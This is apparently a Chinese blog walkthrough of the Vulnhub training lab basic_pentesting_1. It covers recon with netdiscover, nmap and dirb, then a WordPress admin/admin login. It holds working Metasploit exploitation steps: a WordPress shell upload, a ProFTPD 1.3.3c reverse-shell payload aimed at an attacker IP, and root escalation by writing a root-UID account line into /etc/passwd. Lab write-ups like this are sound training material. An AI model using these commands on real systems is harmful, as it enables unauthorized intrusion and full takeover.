basic_pentesting_1靶场攻略

basic_pentesting_1 是 Vulnhub 平台提供的虚拟化渗透测试靶场镜像,主要用于练习基础渗透测试技术。该靶场通过模拟网络环境中的常见漏洞场景,帮助用户熟悉信息收集、漏洞利用等实战技能。任务是获取靶场的root权限。

获取ip

通过netdiscover获取ip,未开启虚拟机的时候执行一次,开启后再执行一次,找到新增的ip

css 复制代码
 netdiscover -i eth0 -r 192.168.244.0/24

这边找到的ip是192.168.244.143

扫描端口

复制代码
 nmap -sV 192.168.244.143
 -sV:启用版本检测功能,识别开放端口上运行的服务及其具体版本。

收集到信息

PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

web端口测试

通过浏览器访问地址:

就使用dirb爆破一下网站目录看是否有其他可以利用的

arduino 复制代码
 dirb http://192.168.244.143 -w 
ruby 复制代码
 http://192.168.244.143/secret/wp-admin/

会自动跳转登录页面:

注意这边开头的是域名vtcsec,不是ip。ping vtcsec 即是目标服务器的ip。

尝试弱口令登录,测试到账号与密码是admin|admin,登录成功;

查看是否有可以利用的漏洞

复制代码
 searchsploit wordpress 4.9

登录msfconsole后,执行:

bash 复制代码
 search wordpress type:exploit -s date

分析利用的格式wp_XXX,说明关键字wp的漏洞根据不同的模块进行划分,我们这边是admin,找到exploit/unix/webapp/wp_admin_shell_upload,我们就使用这个。

perl 复制代码
 use 43
 show options
arduino 复制代码
 set username admin
 set password admin
 set rhosts 192.168.244.143
 set TARGETURI /secret
 run

登录成功,但用户是www-data。

shell登录后,会话转换成bash模式,执行下面命令

rust 复制代码
 python -c 'import pty; pty.spawn("/bin/bash")'

查看/etc/passwd 与/etc/shadow的权限情况:

这边我们是可以修改/etc/passwd的,那么新增一个账号与密码:newrootnewroot

退回到meterpreter的会话下,执行:

ruby 复制代码
 edit /etc/passwd
 #新增下面一行
 newroot:$1$iE0btf0c$pbJNv7hPOGSmeTE1tKepM/:0:0:root:/root:/bin/bash

shell登录后,转到bash模式下,执行:

bash 复制代码
 su newroot
 #然后输入密码newroot

注意:这边必须要有密码,如果是x或者空,则无法登录,如下:

另外/etc/crontab文件也是可以编辑的,可以添加反弹shell的功能。

ftp端口测试

查看ftp的版本,看看是否有漏洞:

r 复制代码
 searchsploit ProFTPD 1.3.3c

登录msfconsole,然后查找漏洞的利用:

r 复制代码
 search ProFTPD 1.3.3c
perl 复制代码
 use 0
 show options
bash 复制代码
 #设置目标服务器ip
 set rhosts 192.168.244.143
 #设置利用载荷
 set payload cmd/unix/reverse
 #设置载荷的反弹shell地址
 set lhost 192.168.244.140
 run

直接是root的权限。

相关推荐
KKKlucifer38 分钟前
数据资产地图构建:文档安全可视化与主动防御
大数据·安全
车载testing3 小时前
SOME/IP 协议中发送 RR 报文的实践指南
网络·tcp/ip·安全
Coder个人博客3 小时前
Linux6.19-ARM64 mm ioremap子模块深入分析
linux·安全·车载系统·系统架构·系统安全·鸿蒙系统·安全架构
码农三叔3 小时前
(9-1)电源管理与能源系统:电池选择与安全
人工智能·嵌入式硬件·安全·机器人·能源·人形机器人
阿里云云原生5 小时前
探秘 AgentRun丨动态下发+权限隔离,重构 AI Agent 安全体系
人工智能·安全·阿里云·重构·agentrun
智驱力人工智能5 小时前
货车走快车道检测 高速公路安全治理的工程实践与价值闭环 高速公路货车占用小客车道抓拍系统 城市快速路货车违规占道AI识别
人工智能·opencv·算法·安全·yolo·目标检测·边缘计算
上海云盾-小余5 小时前
DDoS安全防护怎么选,如何挑选DDoS防护
安全·ddos
米羊1216 小时前
威胁识别(上)
网络·安全·web安全
白帽子黑客罗哥6 小时前
护网行动中遇到突发安全事件的标准应急响应流程
网络·安全·web安全·计算机·护网行动
世界尽头与你6 小时前
(修复方案)CVE-2023-26111: node-static 路径遍历漏洞
安全·网络安全·渗透测试